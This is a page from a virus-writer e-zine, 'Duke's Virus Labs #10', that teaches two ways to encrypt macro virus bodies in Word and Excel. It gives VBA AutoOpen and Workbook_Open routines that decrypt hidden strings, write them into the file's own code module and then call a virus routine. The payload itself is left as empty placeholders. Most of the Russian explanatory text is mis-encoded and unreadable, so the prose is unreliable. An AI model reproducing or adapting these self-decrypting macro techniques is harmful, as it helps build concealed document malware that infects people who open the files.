- [Duke's Virus Labs #10] - [Page 26] -

஢  W0rd & Excel
(c) by ULTRAS/MATRiX


 				2 ᯮᮡ ஢:
			        

 1.  ⮤ ᮧ ६  ன ࠭ ஢ ⥫ ,
    ⮤ 祭 ப ᯮ짮    Word 6-7. ஬ ⮩ 
    ஢  Nightmare Joker.  ਬ  ஠ ⠪ 
    ᯮᮡ.

Ĵ ਬ  W0rd 

Sub AutoOpen()

Dim x(6) As String

஢ ⥫  Autoclose

x(1) = ""
x(2) = ""
x(3) = "" < ᭮ ஢ ⥫ 
x(4) = ""
x(5) = ""
x(6) = ""

For i = 1 To 6 '᪮쪮 ஢ ப

bz = bz & decrypt(x(i))

Next i

 ஢ ⥫ 

If ThisDocument.VBProject.VBComponents("ZSZ").CodeModule.Lines(31, 1) = "" Then ThisDocument.VBProject.VBComponents("ZSZ").CodeModule.InsertLines 31, bz

  㦥 ஢?

End Sub



Function decrypt(c As String)

஢騪 

For o = 1 To Len(c)

z = Mid(c, o, 1)

If Asc(z) > 177 Then z = ""

x = x & z

Next o

decrypt = x & vbCr

End Function



 2.  ⮤ x࠭ ஢ ⥫  אַ  室 ,  祭 
    ࠢ  ⮤    㤮 祬 .

Ĵ ਬ  Excel -


Private Sub Workbook_Open()

If Workbooks.Count > 1 Then

For d = 18 to ?? '᪮쪮 ஢ ப

C$ = ""

I = (ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.Lines(d, 1))

f = (Mid(I, 2, 1))

For X = 3 To Len(I)

B$ = Asc(Mid(I, X, 1)) - f

C$ = C$ & Chr(B$)

Next X

 '஢ ⥫ 

A = C$

ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine d, A

Next d

' 뢠    ஢ ⥫

Call virus ' ᪠ ஢ 

End If

End Sub

Private Sub virus()

'
'
' < ᭮ ஢ ⥫
'
'
End Sub

  							      -=U=- (c) 2000
							    What`s my age again
